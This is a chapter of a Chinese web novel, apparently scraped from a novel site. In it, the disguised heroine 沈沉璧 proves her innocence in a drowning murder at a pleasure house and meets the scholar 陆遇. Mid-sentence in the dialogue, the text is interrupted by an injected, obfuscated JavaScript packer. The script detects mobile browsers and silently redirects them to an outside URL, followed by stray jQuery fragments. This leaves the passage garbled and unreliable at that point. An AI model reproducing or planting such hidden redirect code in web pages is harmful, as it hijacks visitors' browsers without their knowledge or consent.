默认冷灰
24号文字
方正启体

16. 玉面书生

作者:招牌老吃货本书字数:K更新时间:
    “死……死人了!”


    悚然的尖叫声撕破夜的寂静,一个夜半起夜的姑娘从楼梯上踉跄滚了下来,恰好落在了沈沉璧跟前。姑娘本就惊吓过度,却又瞧见个穿着白色里衣的人飘在醉仙壶口瞅着里头的尸体,顿时两眼上翻晕了过去。


    巨大的动静吵得楼里的灯火次第亮起,沈沉璧循着光亮俯身去扶地上的姑娘,手还没搭到她的胳膊,就忽觉脖颈一凉,一只寒光凛凛的匕首架在了她的脖子上。


    “绮罗姑娘这是何意?”


    沈沉璧蹙眉望去,绮罗手执匕首挡在晕倒的姑娘身前,那双潋滟的眸子此刻满是警惕。她穿着件薄衫子,额头却沁着汗珠。直到地上的姑娘被人扶走,绮罗的匕刃还对着沈沉璧。


    “公子为何深夜不眠,独自在醉仙壶附近徘徊?”


    “在下起夜时发现醉仙壶的壶口大开,便上来看看究竟是怎么回事,没曾想却见到卢员外的尸体泡在酒里。”


    “莫听他胡说,寻常人见死了人哪有不怕的?这人神色淡定,眉眼间隐有凶煞之气,八成卢员外就是他害死的,昨日那会儿我还瞧见他与卢员外起了冲突!”


    几个凑热闹的留宿者对着沈沉璧嚷嚷起来,他们的指认引来了大半人的附和,众人皆言沈沉璧昨日一直在楼里闲逛,行为举止怪异必定暗含鬼胎。这些人言之凿凿,不论沈沉璧如何解释都无济于事。就在此时,几个勘察凶案的官差来到了现场。


    为首的小吏打着哈欠,神情似仍在梦中。他本在家搂着婆娘酣睡,谁知半夜硬生生被同僚喊醒来看尸体,走到这里便觉心中烦闷得紧,只想草草应付这差事。因此见到众人指认沈沉璧时,小吏二话不说就要铐上她带走。


    “身为官府之人,竟敢毫无证据就抓人?”


    沈沉璧甩开胳膊,茶褐色的眸底溢出怒气。官差哪管她说什么,几个人上前准备敲晕了就带走。对方人多势众,沈沉璧势单力薄根本招架不住,就在这时人群里挤出个脑袋。


    “官差大人莫恼,这位公子确非凶手,我可以作证。”


    说这话的是个白面书生,唇红齿白笑意盈盈的。他虽身在靡靡之地,手中却握着书稿,嘴里还衔着只炸毛的毛笔。他费劲九牛二虎之力扳开身前两人紧挨的肩膀,走到沈沉璧面前时还不忘礼貌地颔首。官差似乎认识这人,颇为不屑地昂起下颌。


    “陆先生有何凭证?”绮罗看向书生。


    “昨日这位公子是瞧见棠歌儿被欺负,为了帮她才与卢员外起了口角,绮罗误会他了。”书生似乎与枕上梦的姑娘甚是相熟。


    他的这番言辞稍稍消除了绮罗对沈沉璧的警惕,但并未让拿人不成的官吏信服。为首的小吏抓着沈沉璧深夜出现在尸体旁来说事,非言并无证据证明她没有杀害卢员外。


    “我不能证明她没杀卢员外,可你也没有证据证明她杀了人啊。”


    官差被这书生堵得哑口无言,面上青红交接很没面子。沈沉璧见这些人争执不休,往前两步站了出来。


    “在下可以找出证据自证,前提是允我勘察凶案现场。”


    沈沉璧命人在醉仙壶壶口架上一圈梯子,而后带着几人爬了上去。卢员外仰着头躺在朝颜露中,因为长时间的浸泡躯体表皮已经泛白褶皱。尸体鼻腔中有蕈状泡沫,眼睑出血、口唇青紫,应是溺死在酒中。观其尸斑程度,至少已经死了一个时辰。


    “他怎么笑得这么瘆人?”


    书生将脑袋搁在了沈沉璧的肩头,抻长脖子饶有兴味地对着尸体评头论足。沈沉璧颇为无语的看向他,旁边那么多空置的扶梯,这人偏偏要和她挤一道儿。而且他走路像猫一样没个声响,她竟未察觉他是何时来到身后的。


    挪开书生的脑袋,沈沉璧伸出食指沾了点儿朝颜露放入嘴里,并未发现什么异常后,便摘下了暗兜里的药馕。瞬间,她的视线变得光怪陆离,一种无法遏制的愉悦感从心底油然而生。察觉到不对劲,沈沉璧立即系上药馕,目光无声地从对面绮罗的脸上掠过。


    “浸着尸体的朝颜露味道如何?我也尝尝。”


    书生又将脑袋凑了上来,伸手就要掬一捧朝颜露。沈沉璧连忙打掉他即将入口的酒水,转身从梯子上爬了下去,她找到了自证的法子。


    “卢员外溺死于一个时辰前,而彼时在下仍在房中酝酿睡意,隔壁赵老板可为我作证。”


    “我?你小子别胡说,我怎能为你作证?”


    旁边矮个方脸的男子疑惑地喊起来,生怕和这桩凶杀案扯上什么关联。沈沉璧瞧他那副爱凑热闹却又胆小怕事的模样,心底虽有不屑但面上还是不动声色。


    “赵老板此言差矣。从卢员外溺死至我走出房门这段时间里,我听到你喊了陪夜姑娘两声。一声是‘小乖乖’,约莫在一个时辰前;一声是‘小辣椒’,约莫在半个时辰前。是也不是?”


    那钱庄老板哪想到自己意乱情迷时说的话会被人听得清清楚楚,整个脸红成块刚发酵成熟的腐乳。但他又确实被沈沉璧说中了事实,因此辩也不是认也不是。众人见赵老板一副恨不能挖个地洞钻进去的模样,也就信了沈沉璧与此案无关。沈沉璧终于舒了口气,却听得身旁有人偷笑。


    “公子不觉得自己的证词有些不妥吗?”


    “有何不妥?”


    沈沉璧困惑地望向书生,自认逻辑缜密无甚问题。书生见她当真不解,笑得手里的书稿都掉落在地。沈沉璧瞥了一眼,发现那书稿上写的竟都是些露骨的词曲,心下觉着这书生甚是怪异,便不予理会。


    误会虽已解开,但方才尝酒时沈沉璧又有了新的发现。她决定助枕上梦破了这案子,没准儿事成后姑娘们会出于感激将前任馆主的下落告知她。众人瞧她有两把刷子,便也想看看究竟是个怎么回事。


    见无人反对,沈沉璧径直往枕上梦的三楼走去。卢员外付了万两黄金后便带着绮罗住进了楼上的贵宾阁,从方才的初步勘察来看,他应是从三楼的连廊处摔落的。


    “绮罗姑娘,卢员外是何时从你房中离开的?”


    沈沉璧摘下药馕,发现连廊的木制栏杆上勾着一根极细的丝线。卢员外的衣物都是上等蚕丝织成,这丝线比发丝还细,寻常人肉眼几乎看不到。沈沉璧辨出这根丝线源自卢员外的外袍,由此可见他摔落时尚未解衣入睡。


    “我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144444|196370||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    并不知晓,那时我们早已熄灯睡下。”


    绮罗的话令沈沉璧的眸底闪过狐疑之色,她转身向后望去,眼前正是绮罗的房间,卢员外是在这间房的正对面摔下去的。且不说花了万两黄金点的姑娘先于客人入眠有多不合常理,以卢员外的体型从三楼摔下去动静应当不小,然而绮罗却言并未察觉,这委实说不过去。沈沉璧走近绮罗的厢房,伸手推门却发现房间被人从里头锁上了。


    “我房里没什么要紧的物件儿,沈公子无需再看了。”


    “若无要紧的物件儿,绮罗姑娘锁上它作甚?”


    当着众人的面,绮罗也不好继续同沈沉璧僵持,只好抬手敲了敲房门。片刻后,房门被人自里头打开,开门的正是昨日被绮罗责骂的丫鬟。


    众人抬脚走了进去,绮罗的厢房干净整洁,似乎并无不妥。可正因如此洁净,反倒令沈沉璧心中生疑。若今夜绮罗是一人入睡,厢房里物什摆放齐整并无不妥,可绮罗是陪卢员外饮酒作乐的,怎会连一个卧倒的酒盏都没有?


    “绮罗姑娘如此着急地清除卢员外的痕迹,是因为夜里发生了什么不能告人之事吗?”


    沈沉璧的话令绮罗面色煞白,她正欲开口辩解时,身侧的丫鬟忽然慌里慌张地跪了下来,直言夜里卢员外与绮罗起了争执,卢员外气急之下便出了门,后来再也没回来过。沈沉璧凝眸望着眼前浑身打颤的丫鬟,她应是记恨昨日绮罗责骂之事,才迫不及待地将她供了出来。


    众人听完丫鬟的证词,皆向绮罗投来质疑的目光。几个官差本就等得不耐烦,现下见天已蒙蒙亮,也不管真凶是否就是绮罗,冲上来就要将她绑住带走。


    “官差大人还要如此不分青红皂白地抓人么?”


    “证据是你找的,现在倒还怪起我等来了。不抓她我们就抓你,左右得有人随我们回去交差。”


    这次小吏们再也不管沈沉璧如何阻拦,撞开她就拖着人走了。沈沉璧见这些人如此蛮横无理,追上去就要同他们理论,却被人拉住了手腕。


    “公子这般硬冲是办不了事的,同这种酷吏打交道需要使点子智慧。”书生朝她摇了摇头。


    “什么智慧?”沈沉璧拧紧细眉。


    “小生智囊里的妙计可不能随意向外人道也,除非……”书生卖了个关子故意吊着沈沉璧,待沈沉璧不耐烦地转身要走时,他又连忙凑了上去,“除非你我是朋友。”


    沈沉璧疑惑地望着眼前的俊秀书生,这人白衣素袍面目和善,清亮的眼眸如两弯月牙般笑意盈盈。可不知怎的,她却总觉得他有股子狡猾的邪气。


    “在下陆遇,很高兴遇见你。”


    “沈沉璧,”沈沉璧语气冷淡,“为何要交我这个朋友?”


    “交朋友也需要理由吗?”陆遇以书角拖着腮帮子,似是在认真思忖着沈沉璧的问题,“若非要找出个理由,我觉得好看的人理应和好看的人成为朋友。”


    沈沉璧被陆遇的说辞堵得一时语塞,正想问他所谓的锦囊妙计为何时,远处却传来一人怒不可遏的声音。


    “沈沉璧,你弃我而跑也就罢了,竟还敢拿着小爷的银子勾搭小白脸?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)